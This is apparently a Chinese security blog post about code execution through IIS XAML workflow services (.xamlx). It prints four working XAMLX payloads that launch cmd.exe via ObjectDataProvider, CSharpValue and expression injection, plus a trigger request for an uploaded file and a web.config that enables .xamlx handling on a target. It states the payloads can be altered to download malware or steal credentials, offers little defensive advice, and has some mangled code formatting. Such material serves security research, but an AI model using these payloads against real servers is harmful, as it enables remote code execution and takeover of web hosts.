前言
Web应用程序的安全一直是一个重要议题。除了常见的漏洞,一些不常用的功能也可能成为攻击者的突破口。今天我们来聊聊一种不太被重视的攻击面:XAML工作流服务。
XAML(Extensible Application Markup Language)是一种用于描述用户界面的标记语言。但你知道XAML也能用于定义服务器端的工作流服务吗?如果配置不当,这些工作流服务可能会带来严重的安全风险。
什么是XAML工作流服务?
XAML工作流服务是使用Windows Communication Foundation (WCF)实现的服务,它们使用XAML文件(通常带有.xamlx扩展名)来定义服务的行为。这种服务可以通过HTTP接收请求并执行一系列操作,例如处理数据、访问数据库,甚至执行系统命令。
靶机环境中可以通过添加.NET Framework 4下WCF服务的"HTTP激活"功能将其自动添加到IIS。实际环境中,受害者可能默认安装.NET Framework 4下所有服务,以此便成为攻击者的目标点。
潜在的风险:代码执行
关键问题在于,XAML文件可以包含代码。这意味着攻击者可以通过上传精心构造的XAML 文件,在服务器上执行任意代码。这就像在你的网站上安装了一个隐秘的后门,攻击者可以随时通过这个后门入侵你的系统。
下面,让我们了解一下利用XAML文件的攻击方式。
1.反序列化漏洞
XAML文件在解析过程中可能存在反序列化漏洞。攻击者可以利用这些漏洞,在服务器上运行恶意代码。
XAML文件使用XML格式,而XML反序列化本身就可能存在安全风险。攻击者可以构造包含特殊对象的XAML文件,这些对象在反序列化时会执行恶意代码。攻击者可以利用ObjectDataProvider在XAML文件中调用.NET对象的方法,从而执行恶意代码。
<WorkflowService xmlns="http://schemas.microsoft.com/netfx/2009/xaml/servicemodel"> <x:Array xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"> <Rd:ResourceDictionary xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=System" xmlns:Rd="clr-namespace:System.Windows;assembly=PresentationFramework" xmlns:ODP="clr-namespace:System.Windows.Data;assembly=PresentationFramework"> <ODP:ObjectDataProvider x:Key="LaunchCmd" MethodName="Start"> <ODP:ObjectDataProvider.ObjectInstance> <Diag:Process> <Diag:Process.StartInfo> <Diag:ProcessStartInfo FileName="cmd.exe" Arguments="/c calc" /> </Diag:Process.StartInfo> </Diag:Process> </ODP:ObjectDataProvider.ObjectInstance> </ODP:ObjectDataProvider> </Rd:ResourceDictionary> </x:Array></WorkflowService>
上述代码片段演示了如何使用ObjectDataProvider在XAML文件中执行calc.exe命令。在实际攻击中,攻击者可以替换FileName和Arguments执行任意系统命令,甚至下载和执行恶意程序。
2.内联代码执行
XAML文件本身就支持嵌入代码。攻击者可以利用这一特性,直接在XAML文件中编写恶意代码,并在服务器上执行。
例如,使用CSharpValue在XAML文件中执行任意代码:
<WorkflowService ConfigurationName="Service1" Name="Service1"xmlns="http://schemas.microsoft.com/netfx/2009/xaml/servicemodel" xmlns:mca="clr-namespace:Microsoft.CSharp.Activities;assembly=System.Activities"xmlns:p1="http://schemas.microsoft.com/netfx/2009/xaml/activities" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System"xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"> <p1:Sequence DisplayName="Sequential Service"> <p1:InvokeMethod DisplayName="test" MethodName="Start"> <p1:InvokeMethod.TargetObject> <p1:InArgument x:TypeArguments="sd:Process"> <mca:CSharpValuex:TypeArguments="sd:Process">System.Diagnostics.Process.Start("cmd.exe", "/ccalc")</mca:CSharpValue> </p1:InArgument> </p1:InvokeMethod.TargetObject> </p1:InvokeMethod> <Receive CanCreateInstance="True" OperationName="foobar" Action="testme" /> </p1:Sequence></WorkflowService>
在实际攻击中,攻击者可以替换System.Diagnostics.Process.Start("cmd.exe", "/c calc")为任何恶意代码,例如下载和执行恶意程序。
使用Expression和SendReply在XAML文件中执行任意代码:
<WorkflowService ConfigurationName="Service1" Name="Service1"xmlns="http://schemas.microsoft.com/netfx/2009/xaml/servicemodel"xmlns:p="http://schemas.microsoft.com/netfx/2009/xaml/activities"xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"xmlns:p1="http://schemas.microsoft.com/netfx/2009/xaml/activities" > <p:Sequence DisplayName="Sequential Service"> <TransactedReceiveScope Request="{x:Reference __r0}"> <p1:Sequence > <SendReply DisplayName="SendResponse" > <SendReply.Request> <Receive x:Name="__r0" CanCreateInstance="True"OperationName="SubmitPurchasingProposal" Action="testme" /> </SendReply.Request><SendMessageContent> <p1:InArgumentx:TypeArguments="x:String">[System.Diagnostics.Process.Start("cmd.exe", "/ccalc").toString()]</p1:InArgument> </SendMessageContent> </SendReply> </p1:Sequence> </TransactedReceiveScope> </p:Sequence></WorkflowService>
在实际攻击中,攻击者可以替换System.Diagnostics.Process.Start("cmd.exe", "/c calc").toString()为任何恶意代码,例如访问敏感数据或修改系统配置。
使用自定义代码注入在 XAML 文件中执行任意代码:
<WorkflowService ConfigurationName="Service1" Name="Service1"xmlns="http://schemas.microsoft.com/netfx/2009/xaml/servicemodel" xmlns:mca="clr-namespace:Microsoft.CSharp.Activities;assembly=System.Activities"xmlns:p1="http://schemas.microsoft.com/netfx/2009/xaml/activities" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System"xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"> <p1:Sequence DisplayName="Sequential Service"> <p1:InvokeMethod DisplayName="test" MethodName="Start"> <p1:InvokeMethod.TargetObject> <p1:InArgument x:TypeArguments="sd:Process"> <mca:CSharpValuex:TypeArguments="sd:Process">/*/System.Diagnostics.Process.Start("");returnbase.RewriteExpressionTree(expression);} System.Diagnostics.Process x =System.Diagnostics.Process.Start("cmd.exe", "/ccalc"); [System.Diagnostics.DebuggerHiddenAttribute()] public System.Diagnostics.Process @__Expr0Get() {return x; </mca:CSharpValue> </p1:InArgument> </p1:InvokeMethod.TargetObject> </p1:InvokeMethod> <Receive CanCreateInstance="True" OperationName="foobar" Action="testme" /> </p1:Sequence></WorkflowService>
在实际攻击中,攻击者可以替换System.Diagnostics.Process.Start("cmd.exe", "/c calc")为任何恶意代码,例如窃取用户凭据或控制整个服务器。
然后,攻击者可以尝试执行以下请求来触发payload执行。
POST /upload/uploaded.xamlx HTTP/1.1Host: www.***.comSOAPAction: testmeContent-Type: text/xmlContent-Length: 94
XAMLX支持的缺失:配置的潜在风险
即使服务器安装了.NET Framework,XAMLX文件的支持也可能没有在IIS中正确配置。这通常表现为服务器无法识别.xamlx扩展名,导致无法正常处理XAML工作流服务。
攻击者可能会尝试上传一个自定义的web.config文件来启用对XAMLX文件的支持。这个web.config文件会修改IIS的配置,将.xamlx扩展名与相应的处理程序关联起来。
<?xml version="1.0" encoding="UTF-8"?><configuration> <system.webServer> <handlers accessPolicy="Read, Script, Write"> <add name="xamlx" path="*.xamlx" verb="*"type="System.Xaml.Hosting.XamlHttpHandlerFactory, System.Xaml.Hosting, Version=4.0.0.0,Culture=neutral, PublicKeyToken=31bf3856ad364e35" modules="ManagedPipelineHandler"requireAccess="Script" preCondition="integratedMode" /> <add name="xamlx-Classic" path="*.xamlx" verb="*" modules="IsapiModule"scriptProcessor="%windir%Microsoft.NETFramework64v4.0.30319aspnet_isapi.dll"requireAccess="Script" preCondition="classicMode,runtimeVersionv4.0,bitness64" /> </handlers> <validation validateIntegratedModeConfiguration="false" /> </system.webServer></configuration>
关于XOML (已过时的技术):潜在的风险残留
XOML(Extensible Object Markup Language)是一种较早的XAML版本,也被用于定义工作流服务。虽然XOML已经被XAMLX取代,但一些旧的系统中可能仍然存在对XOML的支持。
历史上,XOML文件也曾受到反序列化漏洞的影响。攻击者可以利用这些漏洞,在服务器上执行任意代码。
总结
XAML工作流服务虽然是一个功能强大的工具,但也可能带来安全风险。
原文始发于微信公众号(Ghost Wolf Lab):隐秘的后门:XAML工作流的潜在风险
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论